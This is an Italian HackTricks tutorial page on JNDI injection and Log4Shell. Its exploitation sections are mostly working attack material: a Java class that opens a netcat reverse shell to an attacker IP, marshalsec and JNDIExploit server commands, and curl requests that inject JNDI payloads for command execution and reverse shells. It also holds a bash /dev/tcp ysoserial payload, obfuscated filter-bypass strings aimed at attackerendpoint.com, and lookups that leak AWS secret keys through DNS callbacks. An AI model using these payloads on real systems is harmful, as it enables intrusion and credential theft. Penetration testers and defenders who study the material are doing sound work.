33 KiB
JNDI - Java Naming and Directory Interface & Log4Shell
Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale PEASS & HackTricks
- Scopri La Famiglia PEASS, la nostra collezione di esclusive NFT
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud repos di github.
Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
Informazioni di Base
JNDI, integrato in Java dagli anni '90, funge da servizio di directory, consentendo ai programmi Java di individuare dati o oggetti attraverso un sistema di denominazione. Supporta vari servizi di directory tramite interfacce dei provider di servizi (SPI), consentendo il recupero di dati da diversi sistemi, inclusi oggetti Java remoti. Gli SPI comuni includono CORBA COS, Java RMI Registry e LDAP.
Riferimento di Denominazione JNDI
Gli oggetti Java possono essere memorizzati e recuperati utilizzando i Riferimenti di Denominazione JNDI, che si presentano in due forme:
- Indirizzi di Riferimento: Specifica la posizione di un oggetto (ad es. rmi://server/ref), consentendo il recupero diretto dall'indirizzo specificato.
- Fabbrica Remota: Fa riferimento a una classe di fabbrica remota. Quando accessata, la classe viene scaricata e istanziata dalla posizione remota.
Tuttavia, questo meccanismo può essere sfruttato, portando potenzialmente al caricamento ed esecuzione di codice arbitrario. Come contromisura:
- RMI:
java.rmi.server.useCodeabseOnly = true
di default da JDK 7u21, limitando il caricamento di oggetti remoti. Un Security Manager limita ulteriormente ciò che può essere caricato. - LDAP:
com.sun.jndi.ldap.object.trustURLCodebase = false
di default da JDK 6u141, 7u131, 8u121, bloccando l'esecuzione di oggetti Java caricati da remoto. Se impostato sutrue
, l'esecuzione remota del codice è possibile senza la supervisione di un Security Manager. - CORBA: Non ha una proprietà specifica, ma il Security Manager è sempre attivo.
Tuttavia, il Naming Manager, responsabile della risoluzione dei collegamenti JNDI, manca di meccanismi di sicurezza integrati, consentendo potenzialmente il recupero di oggetti da qualsiasi origine. Ciò costituisce un rischio poiché le protezioni RMI, LDAP e CORBA possono essere aggirate, portando al caricamento di oggetti Java arbitrari o allo sfruttamento di componenti dell'applicazione esistenti (gadget) per eseguire codice dannoso.
Esempi di URL sfruttabili includono:
- rmi://server-attaccante/bar
- ldap://server-attaccante/bar
- iiop://server-attaccante/bar
Nonostante le protezioni, rimangono vulnerabilità, principalmente a causa della mancanza di salvaguardie contro il caricamento di JNDI da fonti non attendibili e della possibilità di aggirare le protezioni esistenti.
Esempio JNDI
Anche se hai impostato un PROVIDER_URL
, puoi indicarne uno diverso in una ricerca e verrà accessato: ctx.lookup("<url-controllato-dall'attaccante>")
ed è ciò che un attaccante sfrutterà per caricare oggetti arbitrari da un sistema controllato da lui.
Panoramica CORBA
CORBA (Common Object Request Broker Architecture) impiega un Riferimento a Oggetto Interoperabile (IOR) per identificare univocamente gli oggetti remoti. Questo riferimento include informazioni essenziali come:
- ID Tipo: Identificatore univoco per un'interfaccia.
- Codebase: URL per ottenere la classe stub.
È importante notare che CORBA non è intrinsecamente vulnerabile. Garantire la sicurezza coinvolge tipicamente:
- Installazione di un Security Manager.
- Configurazione del Security Manager per consentire connessioni a codebase potenzialmente dannose. Ciò può essere realizzato attraverso:
- Autorizzazione del socket, ad esempio,
permissions java.net.SocketPermission "*:1098-1099", "connect";
. - Autorizzazioni di lettura file, universalmente (
permission java.io.FilePermission "<<ALL FILES>>", "read";
) o per directory specifiche dove potrebbero essere inseriti file dannosi.
Tuttavia, alcune politiche dei fornitori potrebbero essere permissive e consentire queste connessioni per impostazione predefinita.
Contesto RMI
Per RMI (Remote Method Invocation), la situazione è in parte diversa. Come con CORBA, il download arbitrario di classi è limitato per impostazione predefinita. Per sfruttare RMI, tipicamente sarebbe necessario aggirare il Security Manager, un'impresa rilevante anche in CORBA.
LDAP
Innanzitutto, è necessario distinguere tra una Ricerca e una Consultazione.
Una ricerca utilizzerà un URL come ldap://localhost:389/o=JNDITutorial
per trovare l'oggetto JNDITutorial da un server LDAP e recuperarne gli attributi.
Una consultazione è destinata ai servizi di denominazione poiché vogliamo ottenere qualunque cosa sia legata a un nome.
Se la ricerca LDAP è stata invocata con SearchControls.setReturningObjFlag() con true
, l'oggetto restituito verrà ricostruito.
Pertanto, ci sono diversi modi per attaccare queste opzioni.
Un attaccante può avvelenare i record LDAP introducendo payload su di essi che verranno eseguiti nei sistemi che li raccolgono (molto utile per compromettere decine di macchine se si ha accesso al server LDAP). Un altro modo per sfruttare ciò sarebbe eseguire un attacco MitM in una ricerca LDAP ad esempio.
Nel caso in cui si possa far risolvere un'applicazione un URL JNDI LDAP, è possibile controllare l'LDAP che verrà cercato e potresti inviare l'exploit indietro (log4shell).
Sfruttamento della deserializzazione
L'exploit è serializzato e verrà deserializzato.
Nel caso in cui trustURLCodebase
sia true
, un attaccante può fornire le proprie classi nella codebase, altrimenti dovrà sfruttare gadget nel classpath.
Sfruttamento del Riferimento JNDI
È più semplice attaccare questo LDAP utilizzando riferimenti JavaFactory:
Vulnerabilità Log4Shell
La vulnerabilità è introdotta in Log4j perché supporta una sintassi speciale nella forma ${prefix:name}
dove prefix
è uno dei diversi Lookups dove name
dovrebbe essere valutato. Ad esempio, ${java:version}
è la versione attualmente in esecuzione di Java.
LOG4J2-313 ha introdotto una funzionalità di jndi
Lookup. Questa funzionalità consente il recupero di variabili tramite JNDI. Tipicamente, la chiave è automaticamente prefissata con java:comp/env/
. Tuttavia, se la chiave stessa include un ":", questo prefisso predefinito non viene applicato.
Con un : presente nella chiave, come in ${jndi:ldap://esempio.com/a}
, non c'è nessun prefisso e il server LDAP viene interrogato per l'oggetto. E questi Lookups possono essere utilizzati sia nella configurazione di Log4j che quando vengono registrate le righe.
Pertanto, l'unica cosa necessaria per ottenere RCE è una versione vulnerabile di Log4j che elabora informazioni controllate dall'utente. E poiché questa è una libreria ampiamente utilizzata dalle applicazioni Java per registrare informazioni (inclusi le applicazioni esposte su Internet), era molto comune avere log4j che registrava ad esempio gli header HTTP ricevuti come l'User-Agent. Tuttavia, log4j non viene utilizzato solo per registrare informazioni HTTP ma qualsiasi input e dati indicati dallo sviluppatore.
Panoramica delle CVE correlate a Log4Shell
CVE-2021-44228 [Critico]
Questa vulnerabilità è una grave flaw di deserializzazione non attendibile nel componente log4j-core
, che interessa le versioni da 2.0-beta9 a 2.14.1. Consente l'esecuzione remota di codice (RCE), consentendo agli attaccanti di prendere il controllo dei sistemi. Il problema è stato segnalato da Chen Zhaojun del team di sicurezza di Alibaba Cloud e interessa vari framework Apache. La correzione iniziale nella versione 2.15.0 era incompleta. Sono disponibili regole Sigma per la difesa (Regola 1, Regola 2).
CVE-2021-45046 [Critico]
Inizialmente classificata come bassa ma successivamente aggiornata a critica, questa CVE è una falla di Denial of Service (DoS) derivante da una correzione incompleta nella versione 2.15.0 per la CVE-2021-44228. Interessa configurazioni non predefinite, consentendo agli attaccanti di causare attacchi DoS attraverso payload articolati. Un tweet mostra un metodo di bypass. Il problema è risolto nelle versioni 2.16.0 e 2.12.2 rimuovendo i pattern di ricerca dei messaggi e disabilitando JNDI per impostazione predefinita.
CVE-2021-4104 [Alto]
Interessando le versioni Log4j 1.x in configurazioni non predefinite che utilizzano JMSAppender
, questa CVE è una grave falla di deserializzazione non attendibile. Non è disponibile alcuna correzione per il ramo 1.x, che è fuori produzione, e si consiglia di eseguire l'aggiornamento a log4j-core 2.17.0
.
CVE-2021-42550 [Moderato]
Questa vulnerabilità interessa il framework di logging Logback, successore di Log4j 1.x. In precedenza ritenuto sicuro, il framework è stato trovato vulnerabile e sono state rilasciate nuove versioni (1.3.0-alpha11 e 1.2.9) per affrontare il problema.
CVE-2021-45105 [Alto]
Log4j 2.16.0 contiene una falla DoS, che ha portato al rilascio di log4j 2.17.0
per correggere la CVE. Ulteriori dettagli sono disponibili nel report di BleepingComputer.
CVE-2021-44832
Interessando la versione 2.17 di log4j, questa CVE richiede all'attaccante di controllare il file di configurazione di log4j. Coinvolge potenziali esecuzioni di codice arbitrario tramite un JDBCAppender configurato. Ulteriori dettagli sono disponibili nel post del blog di Checkmarx.
Sfruttamento di Log4Shell
Scoperta
Questa vulnerabilità è molto facile da scoprire se non protetta perché invierà almeno una richiesta DNS all'indirizzo che indichi nel tuo payload. Pertanto, payload come:
${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}
(utilizzando canarytokens.com)${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}
(utilizzando interactsh)${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}
(utilizzando Burp Suite)${jndi:ldap://2j4ayo.dnslog.cn}
(utilizzando dnslog)${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}
utilizzando (utilizzando huntress)
Nota che anche se viene ricevuta una richiesta DNS ciò non significa che l'applicazione sia sfruttabile (o addirittura vulnerabile), sarà necessario provare a sfruttarla.
{% hint style="info" %} Ricorda che per sfruttare la versione 2.15 è necessario aggiungere il bypass del controllo localhost: ${jndi:ldap://127.0.0.1#...} {% endhint %}
Scoperta Locale
Cerca le versioni locali vulnerabili della libreria con:
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
Verifica
Alcune delle piattaforme elencate in precedenza ti permetteranno di inserire dei dati variabili che verranno registrati quando richiesti.
Questo può essere molto utile per 2 cose:
- Per verificare la vulnerabilità
- Per esfiltrare informazioni sfruttando la vulnerabilità
Ad esempio, potresti richiedere qualcosa del genere:
o come ${
jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}
e se viene ricevuta una richiesta DNS con il valore della variabile di ambiente, sai che l'applicazione è vulnerabile.
Altre informazioni che potresti provare a leakare:
${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}
Any other env variable name that could store sensitive information
Informazioni RCE
{% hint style="info" %}
Gli host che eseguono versioni JDK superiori a 6u141, 7u131 o 8u121 sono protetti dal vettore di attacco del caricamento di classi LDAP. Ciò è dovuto alla disattivazione predefinita di com.sun.jndi.ldap.object.trustURLCodebase
, che impedisce a JNDI di caricare un codebase remoto tramite LDAP. Tuttavia, è fondamentale notare che queste versioni non sono protette dal vettore di attacco alla deserializzazione.
Per gli attaccanti che mirano a sfruttare queste versioni JDK più recenti, è necessario sfruttare un gadget fidato all'interno dell'applicazione Java. Strumenti come ysoserial o JNDIExploit vengono spesso utilizzati a questo scopo. Al contrario, sfruttare versioni JDK inferiori è relativamente più semplice poiché è possibile manipolare tali versioni per caricare ed eseguire classi arbitrarie.
Per ulteriori informazioni (come limitazioni sui vettori RMI e CORBA) controlla la sezione precedente del riferimento alla denominazione JNDI o https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/ {% endhint %}
RCE - Marshalsec con payload personalizzato
Puoi testare questo nella casella THM: https://tryhackme.com/room/solar
Utilizza lo strumento marshalsec (versione jar disponibile qui). Questo approccio stabilisce un server di rinvio LDAP per reindirizzare le connessioni a un server HTTP secondario dove sarà ospitato lo sfruttamento:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
Per richiedere al bersaglio di caricare un codice shell inversa, crea un file Java chiamato Exploit.java
con il seguente contenuto:
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}
Compila il file Java in un file di classe usando: javac Exploit.java -source 8 -target 8
. Successivamente, avvia un server HTTP nella directory contenente il file di classe con: python3 -m http.server
. Assicurati che il server LDAP marshalsec faccia riferimento a questo server HTTP.
Scatena l'esecuzione della classe di exploit sul server web suscettibile inviando un payload simile a:
${jndi:ldap://<LDAP_IP>:1389/Exploit}
Nota: Questo exploit si basa sulla configurazione di Java per consentire il caricamento remoto del codebase tramite LDAP. Se ciò non è permesso, considera l'exploit di una classe attendibile per l'esecuzione di codice arbitrario.
RCE - JNDIExploit
{% hint style="info" %} Nota che per qualche motivo l'autore ha rimosso questo progetto da GitHub dopo la scoperta di log4shell. Puoi trovare una versione memorizzata nella cache su https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2 ma se desideri rispettare la decisione dell'autore, utilizza un metodo diverso per sfruttare questa vulnerabilità.
Inoltre, non è possibile trovare il codice sorgente nel wayback machine, quindi analizza il codice sorgente o esegui il file jar sapendo di non sapere cosa stai eseguendo. {% endhint %}
Per questo esempio, puoi semplicemente eseguire questo server web vulnerabile a log4shell sulla porta 8080: https://github.com/christophetd/log4shell-vulnerable-app (nel README troverai come eseguirlo). Questa app vulnerabile registra con una versione vulnerabile di log4shell il contenuto dell'intestazione della richiesta HTTP X-Api-Version.
Successivamente, puoi scaricare il file jar di JNDIExploit ed eseguirlo con:
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
Dopo aver letto il codice per solo un paio di minuti, in com.feihong.ldap.LdapServer e com.feihong.ldap.HTTPServer puoi vedere come vengono creati i server LDAP e HTTP. Il server LDAP capirà quale payload deve essere servito e reindirizzerà la vittima al server HTTP, che eseguirà l'exploit.
In com.feihong.ldap.gadgets puoi trovare alcuni gadget specifici che possono essere utilizzati per eseguire l'azione desiderata (potenzialmente eseguire codice arbitrario). E in com.feihong.ldap.template puoi vedere le diverse classi di template che genereranno gli exploit.
Puoi visualizzare tutti gli exploit disponibili con java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
. Alcuni utili sono:
ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more
Quindi, nel nostro esempio, abbiamo già quell'applicazione vulnerabile Docker in esecuzione. Per attaccarla:
# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
Quando invii gli attacchi, vedrai alcuni output nel terminale dove hai eseguito JNDIExploit-1.2-SNAPSHOT.jar.
Ricorda di controllare java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
per altre opzioni di sfruttamento. Inoltre, nel caso ne avessi bisogno, puoi cambiare la porta dei server LDAP e HTTP.
RCE - JNDI-Exploit-Kit
In modo simile all'exploit precedente, puoi provare a utilizzare JNDI-Exploit-Kit per sfruttare questa vulnerabilità.
Puoi generare gli URL da inviare alla vittima eseguendo:
# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444
# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
L'attacco utilizzando un oggetto Java generato su misura funzionerà nei laboratori come la stanza solare THM. Tuttavia, questo non funzionerà generalmente (poiché di default Java non è configurato per caricare una codebase remota utilizzando LDAP) penso perché non sta abusando di una classe fidata per eseguire codice arbitrario.
RCE - JNDI-Injection-Exploit-Plus
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus è un altro strumento per generare collegamenti JNDI funzionanti e fornire servizi di background avviando server RMI, server LDAP e server HTTP.\
RCE - ysoserial & JNDI-Exploit-Kit
Questa opzione è davvero utile per attaccare versioni di Java configurate per fidarsi solo di classi specificate e non di tutti. Pertanto, ysoserial sarà utilizzato per generare serializzazioni di classi fidate che possono essere utilizzate come gadget per eseguire codice arbitrario (la classe fidata abusata da ysoserial deve essere utilizzata dal programma Java vittima affinché l'exploit funzioni).
Utilizzando ysoserial o ysoserial-modified è possibile creare l'exploit di deserializzazione che verrà scaricato da JNDI:
# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
Usa JNDI-Exploit-Kit per generare collegamenti JNDI dove l'exploit sarà in attesa di connessioni dalle macchine vulnerabili. Puoi servire diversi exploit che possono essere generati automaticamente dal JNDI-Exploit-Kit o anche i tuoi payload di deserializzazione personalizzati (generati da te o da ysoserial).
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
Ora puoi facilmente utilizzare un link JNDI generato per sfruttare la vulnerabilità e ottenere una shell inversa inviando a una versione vulnerabile di log4j: ${ldap://10.10.14.10:1389/generated}
Bypasses
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
Scanner Automatici
- https://github.com/fullhunt/log4j-scan
- https://github.com/adilsoybali/Log4j-RCE-Scanner
- https://github.com/silentsignal/burp-log4shell
- https://github.com/cisagov/log4j-scanner
- https://github.com/Qualys/log4jscanwin
- https://github.com/hillu/local-log4j-vuln-scanner
- https://github.com/logpresso/CVE-2021-44228-Scanner
- https://github.com/palantir/log4j-sniffer - Trova librerie locali vulnerabili
Laboratori per il Test
- Macchina HTB LogForge
- Stanza Solar di Try Hack Me
- https://github.com/leonjza/log4jpwn
- https://github.com/christophetd/log4shell-vulnerable-app
Sfruttamento Post-Log4Shell
In questo resoconto CTF è ben spiegato come sia possibile abusare alcune funzionalità di Log4J.
La pagina di sicurezza di Log4j contiene alcune frasi interessanti:
Dalla versione 2.16.0 (per Java 8), la funzionalità di message lookups è stata completamente rimossa. I lookups nella configurazione continuano a funzionare. Inoltre, Log4j ora disabilita l'accesso a JNDI per impostazione predefinita. I lookups JNDI nella configurazione devono ora essere abilitati esplicitamente.
Dalla versione 2.17.0, (e 2.12.3 e 2.3.1 per Java 7 e Java 6), solo le stringhe di lookup nella configurazione vengono espanso ricorsivamente; in qualsiasi altro utilizzo, solo il lookup di livello superiore viene risolto, e eventuali lookups nidificati non vengono risolti.
Ciò significa che per impostazione predefinita non è possibile utilizzare alcun exploit jndi
. Inoltre, per eseguire lookups ricorsivi è necessario averli configurati.
Ad esempio, in quel CTF questo era configurato nel file log4j2.xml:
<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>
Ricerche Env
In questo CTF l'attaccante controllava il valore di ${sys:cmd}
e doveva esfiltrare la flag da una variabile di ambiente.
Come visto in questa pagina nei payloads precedenti ci sono diversi modi per accedere alle variabili d'ambiente, come ad esempio: ${env:FLAG}
. In questo CTF questo metodo era inutile ma potrebbe essere utile in altri scenari reali.
Esfiltrazione tramite Eccezioni
Nel CTF, non si poteva accedere allo stderr dell'applicazione Java utilizzando log4J, ma le eccezioni di Log4J vengono inviate allo stdout, che veniva stampato nell'applicazione Python. Ciò significava che scatenando un'eccezione potevamo accedere al contenuto. Un'eccezione per esfiltrare la flag era: ${java:${env:FLAG}}
. Questo funziona perché ${java:CTF{blahblah}}
non esiste e verrà mostrata un'eccezione con il valore della flag:
Conversion Patterns Eccezioni
Solo per menzionarlo, potevi anche iniettare nuovi conversion patterns e scatenare eccezioni che verranno registrate su stdout
. Per esempio:
Questo non è risultato utile per esfiltrare dati all'interno del messaggio di errore, perché la ricerca non era risolta prima del pattern di conversione, ma potrebbe essere utile per altre cose come il rilevamento.
Conversion Patterns Regexes
Tuttavia, è possibile utilizzare alcuni conversion patterns che supportano regexes per esfiltrare informazioni da una ricerca utilizzando regexes e abusando dei comportamenti binary search o time based.
- Ricerca binaria tramite messaggi di eccezione
Il conversion pattern %replace
può essere utilizzato per sostituire contenuti da una stringa anche utilizzando regexes. Funziona in questo modo: replace{pattern}{regex}{substitution}
Abusando di questo comportamento, potresti far sì che la sostituzione scateni un'eccezione se il regex corrisponde a qualcosa all'interno della stringa (e nessuna eccezione se non viene trovato) in questo modo:
%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
- Basato sul tempo
Come è stato menzionato nella sezione precedente, %replace
supporta le espressioni regolari. Quindi è possibile utilizzare un payload dalla pagina ReDoS per causare un timeout nel caso in cui il flag venga trovato.
Ad esempio, un payload come %replace{${env:FLAG}}{^(?=CTF)((.
)
)*salt$}{asd}
scatenerebbe un timeout in quel CTF.
In questo writeup, invece di utilizzare un attacco ReDoS, è stato utilizzato un attacco di amplificazione per causare una differenza di tempo nella risposta:
/%replace{ %replace{ %replace{ %replace{ %replace{ %replace{ %replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################}
Se il flag inizia con
flagGuess
, l'intero flag viene sostituito con 29#
(ho usato questo carattere perché probabilmente non fa parte del flag). Ciascuno dei 29#
risultanti viene poi sostituito da 54#
. Questo processo viene ripetuto 6 volte, portando a un totale di29*54*54^6* =`` ``
96816014208
#
!Sostituire così tanti
#
causerà il timeout di 10 secondi dell'applicazione Flask, che a sua volta comporterà l'invio del codice di stato HTTP 500 all'utente. (Se il flag non inizia conflagGuess
, riceveremo un codice di stato non-500)
Riferimenti
- https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/
- https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/
- https://www.youtube.com/watch?v=XG14EstTgQ4
- https://tryhackme.com/room/solar
- https://www.youtube.com/watch?v=Y8a5nB-vy78
- https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
- https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/
- https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/
Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
Impara l'hacking AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di esclusive NFT
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud github repos.